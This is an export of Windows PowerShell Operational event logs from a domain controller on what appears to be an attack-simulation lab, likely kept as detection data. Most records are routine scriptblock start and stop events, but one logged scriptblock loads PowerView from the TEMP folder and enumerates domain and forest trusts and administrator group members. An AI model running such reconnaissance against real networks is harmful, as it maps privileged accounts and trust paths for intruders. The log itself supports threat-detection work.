ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477882
Keywords=None
Message=Completed invocation of ScriptBlock ID: ca42d83b-c737-443e-947c-9e33d13a624b
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477881
Keywords=None
Message=Started invocation of ScriptBlock ID: ca42d83b-c737-443e-947c-9e33d13a624b
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477880
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2ddd0871-8a1e-4cca-9a45-2ea405c2ea02
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477879
Keywords=None
Message=Started invocation of ScriptBlock ID: 2ddd0871-8a1e-4cca-9a45-2ea405c2ea02
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477878
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3e9f8fc0-121b-4df4-a619-0c37abe4be0e
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477877
Keywords=None
Message=Started invocation of ScriptBlock ID: 3e9f8fc0-121b-4df4-a619-0c37abe4be0e
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477876
Keywords=None
Message=Completed invocation of ScriptBlock ID: d791fea7-09eb-416a-ad82-63caf5a297c5
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477875
Keywords=None
Message=Started invocation of ScriptBlock ID: d791fea7-09eb-416a-ad82-63caf5a297c5
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 11876235-9444-47d1-adee-aa6ed773c2f6
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477873
Keywords=None
Message=Started invocation of ScriptBlock ID: 11876235-9444-47d1-adee-aa6ed773c2f6
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477872
Keywords=None
Message=Completed invocation of ScriptBlock ID: da3aeb84-aa80-4dd3-b464-77996b32fc98
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477871
Keywords=None
Message=Started invocation of ScriptBlock ID: da3aeb84-aa80-4dd3-b464-77996b32fc98
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477870
Keywords=None
Message=Completed invocation of ScriptBlock ID: dbd34688-a2ba-4dd0-8df7-e07409089d67
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477869
Keywords=None
Message=Started invocation of ScriptBlock ID: dbd34688-a2ba-4dd0-8df7-e07409089d67
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477868
Keywords=None
Message=Completed invocation of ScriptBlock ID: c7ce3506-8e75-458a-8461-e373b2909f74
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477867
Keywords=None
Message=Started invocation of ScriptBlock ID: c7ce3506-8e75-458a-8461-e373b2909f74
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477866
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4e10671-cc8e-479b-bd36-a97623313e52
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477865
Keywords=None
Message=Started invocation of ScriptBlock ID: d4e10671-cc8e-479b-bd36-a97623313e52
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477864
Keywords=None
Message=Completed invocation of ScriptBlock ID: e7bfe319-e7ee-4a4f-a72f-df26a1b8967c
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477863
Keywords=None
Message=Started invocation of ScriptBlock ID: e7bfe319-e7ee-4a4f-a72f-df26a1b8967c
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477862
Keywords=None
Message=Completed invocation of ScriptBlock ID: b75f5b09-bdbd-419c-8a30-a1d00dcb6e01
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477861
Keywords=None
Message=Started invocation of ScriptBlock ID: b75f5b09-bdbd-419c-8a30-a1d00dcb6e01
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477860
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4c8c359b-7462-4a65-b349-a048084fd407
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477859
Keywords=None
Message=Started invocation of ScriptBlock ID: 4c8c359b-7462-4a65-b349-a048084fd407
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477858
Keywords=None
Message=Completed invocation of ScriptBlock ID: bb618730-79f7-4207-874b-cd87502b4b74
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 72e9c98b-d670-48ec-8823-3d9664382c29
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477856
Keywords=None
Message=Started invocation of ScriptBlock ID: 72e9c98b-d670-48ec-8823-3d9664382c29
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477855
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: 72e9c98b-d670-48ec-8823-3d9664382c29
Path:
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477854
Keywords=None
Message=Completed invocation of ScriptBlock ID: 56247f67-87d2-473e-8b7d-7057a74b340e
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477853
Keywords=None
Message=Started invocation of ScriptBlock ID: 56247f67-87d2-473e-8b7d-7057a74b340e
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477852
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: 56247f67-87d2-473e-8b7d-7057a74b340e
Path:
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 01e02c41-9561-4a95-a89b-4e82453f43ed
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477850
Keywords=None
Message=Completed invocation of ScriptBlock ID: 03110519-7d37-44ee-b60c-60479c254ac7
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7744fa91-4e2b-4c0b-b31f-0c99a4b07a0d
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477848
Keywords=None
Message=Started invocation of ScriptBlock ID: 7744fa91-4e2b-4c0b-b31f-0c99a4b07a0d
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477847
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }
ScriptBlock ID: 7744fa91-4e2b-4c0b-b31f-0c99a4b07a0d
Path:
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477846
Keywords=None
Message=Started invocation of ScriptBlock ID: 03110519-7d37-44ee-b60c-60479c254ac7
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477845
Keywords=None
Message=Started invocation of ScriptBlock ID: 01e02c41-9561-4a95-a89b-4e82453f43ed
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477844
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: 01e02c41-9561-4a95-a89b-4e82453f43ed
Path:
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477843
Keywords=None
Message=Started invocation of ScriptBlock ID: bb618730-79f7-4207-874b-cd87502b4b74
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477842
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b8d9ce5-9bbc-4943-9d8c-87bf66498064
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477841
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b8d9ce5-9bbc-4943-9d8c-87bf66498064
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477840
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a524875-4ae2-4df9-b553-223ddaf8a6cb
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477839
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{Import-Module "$env:TEMP\PowerView.ps1"
Get-NetDomainTrust
Get-NetForestTrust
Get-ADDomain
Get-ADGroupMember Administrators -Recursive}
ScriptBlock ID: 1a524875-4ae2-4df9-b553-223ddaf8a6cb
Path:
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477838
Keywords=None
Message=Started invocation of ScriptBlock ID: 955a9871-e401-4166-a549-d7e044630cd5
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477837
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {Import-Module "$env:TEMP\PowerView.ps1"
Get-NetDomainTrust
Get-NetForestTrust
Get-ADDomain
Get-ADGroupMember Administrators -Recursive}
ScriptBlock ID: 955a9871-e401-4166-a549-d7e044630cd5
Path:
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1477836
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1477835
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 8148 in AppDomain: DefaultAppDomain.
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1477834
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477833
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477831
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477830
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477829
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478048
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
